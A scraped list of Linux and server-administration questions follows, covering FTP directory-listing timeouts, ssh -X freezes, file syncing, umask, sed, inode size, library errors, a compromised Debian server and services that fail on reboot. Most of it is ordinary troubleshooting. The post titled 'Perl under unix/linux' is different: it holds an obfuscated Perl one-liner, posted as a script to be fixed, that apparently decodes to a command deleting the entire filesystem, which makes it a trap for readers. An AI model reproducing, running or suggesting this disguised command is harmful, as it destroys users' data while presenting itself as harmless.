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  • FTP on Linux "Failed to retrieve directory listing" not firewall issue

    - by Jaka Prasnikar
    I've got an VPS in germany running Debian X64. I have very strange issue. I have ISPConfig CP installed using proftpd and I can not connect to FTP by any means. Few hours ago I've had installed DirectAdmin on CentOS same VPS and same issue. Simply when I connect to FTP server I get these: Status: Resolving address of web02.defikon.com Status: Connecting to 130.255.190.71:21... Status: Connection established, waiting for welcome message... Response: 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- Response: 220-You are user number 1 of 50 allowed. Response: 220-Local time is now 12:15. Server port: 21. Response: 220-This is a private system - No anonymous login Response: 220-IPv6 connections are also welcome on this server. Response: 220 You will be disconnected after 15 minutes of inactivity. Command: USER default1 Response: 331 User default1 OK. Password required Command: PASS ****** Response: 230-User default1 has group access to: client0 sshusers Response: 230 OK. Current restricted directory is / Command: OPTS UTF8 ON Response: 200 OK, UTF-8 enabled Status: Connected Status: Retrieving directory listing... Command: PWD Response: 257 "/" is your current location Command: TYPE I Response: 200 TYPE is now 8-bit binary Command: PASV Error: Connection timed out Error: Failed to retrieve directory listing I even tried telnet localhost 21 and the same happends. Once I issue command "LIST" I get time out. I've tried every thing and I can't get this to work =( Please help ! P.S.: iptables is turned off.

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  • linux ssh -X graphical applications will not start when system load is high

    - by Chrisv
    So I am using ssh -X to access a server. I am at a Xubuntu desktop accessing a Ubuntu server that is in the next room. Usually everything works fine, but when the system load gets high, any graphical applications I have freeze and fail to be restarted. This happens even if the process that is causing the high load has been niced to a low priority with "nice -n 19". And even though the system load is high, the command line works fine with no delay, and other applications I have running on the server (e.g. virtual machines) run fine. But any graphical application running through X dies. When the graphical applications fail they usually give out an error message that suggests a time-out. It seems that something connected to X has a low priority and times out. But what is it, and how does one fix it?

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  • Sync files between 2 remote computers using Linux terminal

    - by Eddy
    I want to be able to synchronise files between 2 remote computers in both directions. Say for example that I want to synchronise my /home/Documents directory with <username>@example.com:/home/Documents What's the easiest way to update the folders in both directions, so that new/updated files on my home computer get transferred to the remote computer, and new/updated files on the remote computer get transferred to my home computer?

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  • Recommended programming language for linux server management and web ui integration

    - by Brendan Martens
    I am interested in making an in house web ui to ease some of the management tasks I face with administrating many servers; think Canonical's Landscape. This means doing things like, applying package updates simultaneously across servers, perhaps installing a custom .deb (I use ubuntu/debian.) Reviewing server logs, executing custom scripts, viewing status information for all my servers. I hope to be able to reuse existing command line tools instead of rewriting the exact same operations in a different language myself. I really want to develop something that allows me to continue managing on the ssh level but offers the power of a web interface for easily applying the same infrastructure wide changes. They should not be mutually exclusive. What are some recommended programming languages to use for doing this kind of development and tying it into a web ui? Why do you recommend the language(s) you do? I am not an experienced programmer, but view this as an opportunity to scratch some of my own itches as well as become a better programmer. I do not care specifically if one language is harder than another, but am more interested in picking the best tools for the job from the beginning. Feel free to recommend any existing projects that already integrate management of many systems into a single cohesive web ui, except Landscape (not free,) Ebox (ebox control center not free) and webmin (I don't like it, feels clunky and does not integrate well with the "debian way" of maintaining a server, imo. Also, only manages one system.) Thanks for any ideas! Update: I am not looking to reinvent the wheel of systems management, I just want to "glue" many preexisting and excellent tools together where possible and appropriate; this is why I wonder about what languages can interact well with pre-existing command line tools, while making them manageable with a web ui.

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  • Proper umask on linux webservers?

    - by Xeoncross
    Most VPS have a team of 1+ user(s) that don't do anything but configure the system and work on the web site and/or database. I would assume all the team members would be a group like "developers" so they could all work on files in the web root as needed. With this in mind, would umask 007 be a much better setting than the default of 022? After all, there shouldn't be any "other/world" users since this machines primary purpose is to serve web pages. All the developers have access and there aren't any "guests" logging in...

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  • Find text between lines in linux

    - by Kasper Mooijman
    I have a log-file where at the end of a series of lines you can see if this block is relevant now I'm looking for a command like sed to delete de blocks ending with "Content-Length: 0" and beginning with the last "--" before this line. I tried sed -n "/--/,/Content-Length: 0/d" but this takes the first "--" and the first "Content-Length: 0" and deletes it. ex : line 1 "--" line 2 line 3 "Content-Length: 20" line 4 "--" line 5 line 6 "Content-Length: 0" i want to delete line 4,5 and 6 not line 1 to 6 hohw can i do this?

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  • Linux: close a program with command line (not kill it)

    - by CodeNoob
    Some applications only allow one running instance (like eclipse, if you want to use the same workspace). So if I log in from another location, I have to kill/close the application that was open when I previously logged in from another location. I always use kill command to kill the running process. But, if you kill a process, it might not save some states that are useful for future usage. However, if you "close" it properly byclicking on the close button, for example, it will save the states properly. Is there a way to properly "close" an application from command line? I know this can vary from applications, so let's be a bit more generic: how to send a signal to another running application, and this signal works just as if we click the "close" button in the top bar? thanks!

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  • Linux: Why to change inode size?

    - by FractalizeR
    Hello. Tune2fs allows to change inode size from default 128 bytes to almost anything (but it should be power of two). What can the the reasons of changing default inode size? Here http://kbase.redhat.com/faq/docs/DOC-7433 is written, that this can be done to be able to store ACL attributes inside inodes. What else can be stored inside inode? May be some other attributes? Or anything else? Is there any reason to increase inode size on modern high-capacity drives (2TB and more)?

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  • Skype can not find libssl.so.10 on 64-bit Fedora Linux

    - by itpastorn
    Skype will not start: $ skype & skype: error while loading shared libraries: libssl.so.10: wrong ELF class: ELFCLASS64 $ ldd /usr/bin/skype |grep ssl libssl.so.10 => not found OK, missing libssl. Where is it? $ ls -l /usr/lib/libssl.so* lrwxrwxrwx. 1 root root ... /usr/lib/libsssl.so -> libcrypto.so.1.0.1e lrwxrwxrwx. 1 root root ... /usr/lib/libssl.so.10 -> libssl.so.6 -rwxr-xr-x. 1 root root ... /usr/lib/libssl.so.1.0.1e lrwxrwxrwx. 1 root root ... /usr/lib/libssl.so.6 -> /usr/lib64/libssl.so.10 OK, it points to libssl.so.6 which in turns points to the 64-bit version. $ ls -l /usr/lib64/libssl.so* lrwxrwxrwx. 1 root root ... /usr/lib64/libssl.so.10 -> libssl.so.1.0.1e -rwxr-xr-x. 1 root root ... /usr/lib64/libssl.so.1.0.1e lrwxrwxrwx. 1 root root ... /usr/lib64/libssl.so.6 -> /usr/lib64/libssl.so.10 So, why is my linkchain not picked up by Skype? (Identical problem exists with libcrypto, BTW).

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  • suggestions for firewall/router project using *BSD or Linux

    - by Adeodatus
    Hi All, I have a project in mind and I'd love to hear some ideas on some open source solutions with COTS hardware. I have a few 24 and/or 48 port managed layer2 switches with customers potentially on each port (though its usually about 20-30). Right now the switch has a bridged network and backhaul the traffic to our core to a centralized DHCP server. I need to move them to a NAT solution and, while doing this, I'd like to protect the customers on each port from the customer traffic on the other ports. I also need to be able to port forward from the public side of the firewall/nat box to specific hardware on the inside of the nat machine (easy enough, I know). My first thoughts are to build an appliance-like box (the fewer moving parts the better) that can do filtering and NAT with rfc1918 an address range being handed out via a DHCP server on the appliance. A caching DNS server on the appliance would be a plus since we backhaul everything to the core. I'd like to run FreeBSD but I'm open. Now, to try to limit the broadcast traffic thats visible I was thinking of doing each port on the switch as a different vlan and have the switch do trunking to the private NIC on the FreeBSD/appliance. I'd probably need to do some magic on the freebsd NIC to get this working but it should. We have the parts to build these systems. So, does this make sense? Are there any other solutions out there that we don't have to spend money on but can use our parts to create something? Are there any good distros that could do this already (monowall)?? I may or may not admin this solution so a secure web configuration and management tool would be a plus in the other admins' minds. Thoughts?

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  • Linux Debian Security Breach - what now? [closed]

    - by user897075
    Possible Duplicate: My server's been hacked EMERGENCY I installed Debian (Squeeze) a while back in my home network to host some personal sites (thank god). During the installation it prompted me to enter a user other than root - so in a rush I used my name as user and pass (alex/alex for what its worth). I know it's horrible practice but during the setup of this server I'm always logged in as root to perform configurations, etc. Few days or a week passes and I forget to change the password. Then I finally get my web site finished and I open the port forwarding on my router and DynDNS to point to my server in my home. I've done this many times in the past never had issues but I use a cryptic root password and I guess disabled regular accounts. Today I reformat my Windows 7 and after spending all day tweaking and updating SP1 I look for cloning apps and find clonezilla and see it supports SSH cloning, so I go through the process only to discover I need a user, so I log into my web-server and see I have the user 'alex' already in and realize I don't know the password. So I change the password to something cryptic and visit the directory 'home' only to realize their are contents such as passfile, bengos, etc. My heart sinks, I've been hacked!!! Sure as hell there are all sort of scripts and password files. I run a 'last' command and it seems they last logged in april 3rd. Question: What can I do to see if they did anything destructive? Should I reformat and reinstall? How restrictive is Debian/Squeeze in terms of user permissions out of the box - all my personal website stuff was created using 'root' so changing files does not seem to have occured. How did they determine there was a user 'alex' on the machine? Can you query any machine and figure this out? What the users are? Looks like they tried to run a IP scan...other nodes on the network are running Windows 7. One of which seems a little wonky as of late - is it possible they buggered up that system? What corrective action can I take to avoid this from happening again? And figure out what might have changed or been hacked? I'm hoping debian out of box is fairly secure and at best he managed to read some of my source code. :p Regards, Alex

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  • Print full path of files and sizes with find in Linux

    - by cat pants
    Here are the specs: Find all files in / modified after the modification time of /tmp/test, exclude /proc and /sys from the search, and print the full path of the file along with human readable size. Here is what I have so far: find / \( -path /proc -o -path /sys \) -prune -o -newer /tmp/test -exec ls -lh {} \; | less The issue is that the full path doesn't get printed. Unfortunately, ls doesn't support printing the full path! And all solutions I have found that show how to print the full path suggest using find. :| Any ideas? Thanks!

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  • Linux's best filesystem to work with 10000's of files without overloading the system I/O

    - by mhambra
    Hi all. It is known that certain AMD64 Linuxes are subject of being unresponsive under heavy disk I/O (see Gentoo forums: AMD64 system slow/unresponsive during disk access (Part 2)), unfortunately have such one. I want to put /var/tmp/portage and /usr/portage trees to a separate partition, but what FS to choose for it? Requirements: * for journaling, performance is preffered over safe data read/write operations * optimized to read/write 10000 of small files Candidates: * ext2 without any journaling * BtrFS In Phoronix tests, BtrFS had demonstrated a good random access performance (fat better than XFS thereby it may be less CPU-aggressive). However, unpacking operation seems to be faster with XFS there, but it was tested that unpacking kernel tree to XFS makes my system to react slower for 51% disregard of any renice'd processes and/or schedulers. Why no ReiserFS? Google'd this (q: reiserfs ext2 cpu): 1 Apr 2006 ... Surprisingly, the ReiserFS and the XFS used significantly more CPU to remove file tree (86% and 65%) when other FS used about 15% (Ext3 and ... Is it same now?

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  • Como instalar Windows (x86/x64) sobre Linux (Ubuntu)

    - by yorrany
    I installed Ubuntu edition (10.04) on my windows 7, completely eliminating it to the original installation. After I was forced to reverse the process, but could not find tools or explanations of how to do it. To clarify the equipment, it is: a netbook, acer, no optical drive cd / dvd, the process should be fully via USB. I hope I was clear enough, count on the support of you. Thank you. -- Instalei a edição Ubuntu (10.04) sobre meu Windows 7, eliminando completamente a a instalação original. Depois fui forçado à reverter o processo, mas não encontrei ferramentas ou explicações de como fazê-lo. Para esclarecer sobre o equipamento, trata-se de: um netbook, acer, sem leitor óptico de cd/dvd, o processo deverá ser totalmente via USB. Espero ter sido bastante claro, conto com o suporte de vocês. Muito obrigado.

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  • Linux Transparent Bridge for Network

    - by Blackninja543
    I am attempting to set up a semi-transparent bridge. I say semi because I want it to act as a transparent tap for all traffic moving through both sides of the bridge. What I also want is to have the "green zone" accessible to a web interface for the bridge that will display all results of the IDS and other network monitoring tools. My example would be as such: eth0 <--> bridge(br0) <--> eth1 The entire network would be on the same subset however anything coming from eth0 to eth1 would be accepted. The only time anything would be drop is if the eth0 attempted to access br0. If someone attempts to access the web interface on br0 through eth1 it will succeed. My biggest problem I feel is if I attempt to block anything from eth0 to br0 this will drop the bridge all together.

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  • Perl under unix/linux

    - by folone
    Could anyone help me fix the following script: cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' It won't print to the output.

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  • Scientific Linux - mysql and apachefail to start on reboot

    - by Derek Deed
    Both mysqld and httpd fail to restart following a reboot of the server, although chkconfig --list shows both daemons set to on for run levels 2,3,4 & 5 All control is being exectuted via Webmin Reboot server – MySQl and Apache not running MySQL Database Server MySQL version 5.1.69 MySQL is not running on your system - database list could not be retrieved. Click this button to start the MySQL database server on your system with the command /etc/rc.d/init.d/mysqld start. This Webmin module cannot administer the database until it is started. Apache Webserver Apache version 2.2.15 Start Apache Search Docs.. Global configuration Existing virtual hosts Create virtual host Select all. | Invert selection. Default Server Defines the default settings for all other virtual servers, and processes any unhandled requests. Address Any Port Any Server Name Automatic Document Root /var/www/drupal Virtual Server Processes all requests on port 443 not handled by other virtual servers. Address Any Port 443 Server Name Automatic Document Root /var/www/drupal Select all. | Invert selection. chkconfig --list mysqld mysqld 0:off 1:off 2:on 3:on 4:on 5:on 6:off chkconfig --list httpd httpd 0:off 1:off 2:on 3:on 4:on 5:on 6:off Manually Restart Apache chkconfig --list httpd httpd 0:off 1:off 2:on 3:on 4:on 5:on 6:off Manually Restart MySQL chkconfig --list mysqld mysqld 0:off 1:off 2:on 3:on 4:on 5:on 6:off Everything now running okay; but no difference in the chkconfig outputs above. Set chkconfig --levels 235 httpd on /etc/init.d/httpd start The same for mysqld but no change in operation. Log files show that the shutdown has been completed successfully; but there is no indication of the service restarting until it is executed manually: 131112 13:59:15 InnoDB: Starting shutdown... 131112 13:59:16 InnoDB: Shutdown completed; log sequence number 0 881747021 131112 13:59:16 [Note] /usr/libexec/mysqld: Shutdown complete 131112 13:59:16 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended 131112 14:09:52 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql 131112 14:09:52 InnoDB: Initializing buffer pool, size = 8.0M 131112 14:09:52 InnoDB: Completed initialization of buffer pool [Tue Nov 12 13:59:13 2013] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec) [Tue Nov 12 13:59:13 2013] [notice] Digest: generating secret for digest authentication ... [Tue Nov 12 13:59:13 2013] [notice] Digest: done [Tue Nov 12 13:59:14 2013] [notice] Apache/2.2.15 (Unix) DAV/2 PHP/5.3.3 mod_ssl/2.2.15 OpenSSL/1.0.0-fips configured -- resuming normal operations [Tue Nov 12 13:59:14 2013] [notice] caught SIGTERM, shutting down [Tue Nov 12 14:27:13 2013] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec) [Tue Nov 12 14:27:13 2013] [notice] Digest: generating secret for digest authentication ... [Tue Nov 12 14:27:13 2013] [notice] Digest: done [Tue Nov 12 14:27:13 2013] [notice] Apache/2.2.15 (Unix) DAV/2 PHP/5.3.3 mod_ssl/2.2.15 OpenSSL/1.0.0-fips configured -- resuming normal operations Is anyone able to shed any light on this problem, Cheers, Derek.

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  • Linux: Dropbox alternative with sftp/rsync/... access

    - by Daniel
    Currently on my VPS I'm running couple of sites and Dropbox daemon to store backups. Problem is that VPS has 512M RAM and it was enough until new version of Wordpress (I don't know why, but now it consumes more memory) so I have a really bad choice: either stop Dropbox daemon and backups or to buy more memory (not that expensive but still). So I'm looking for some way to rsync data into Dropbox or similar service or figure out how to make Dropbox consume less memory. Any ideas?

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  • Linux Unable to Write to Directory Despite Permissions

    - by Nick Q.
    I'm trying to give myself permissions to /var/www/ however for some reason I am unable to do so. Currently what I'm facing is this: nick@server1:/var$ ls -l drwxrwxr-x 5 root wwwusers 232 Mar 15 19:31 www nick@server1:/var$ groups nick wwwusers nick@server1:/var$ mkdir www/trying mkdir: cannot create directory `www/trying': Permission denied I am running Ubuntu 10.04 LTS on a VPS and am used to running unix on my own machine so I may be doing something absolutely stupid, but I would like to be able to have the group wwwusers be able to write to www.

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  • Linux command to concatenate audio files and output them to ogg

    - by hasen j
    What command-line tools do I need in order to concatenate several audio files and output them as one ogg (and/or mp3)? If you can provide the complete command to concatenate and output to ogg, that would be awesome. Edit: Input files (in my case, currently) are in wma format, but ideally it should be flexible enough to support a wide range of popular formats. Edit2: Just to clarify, I don't want to merge all wmas in a certain directory, I just want to concatenate 2 or 3 files into one. Thanks for the proposed solutions, but they all seem to require creating temporary files, if possible at all, I'd like to avoid that.

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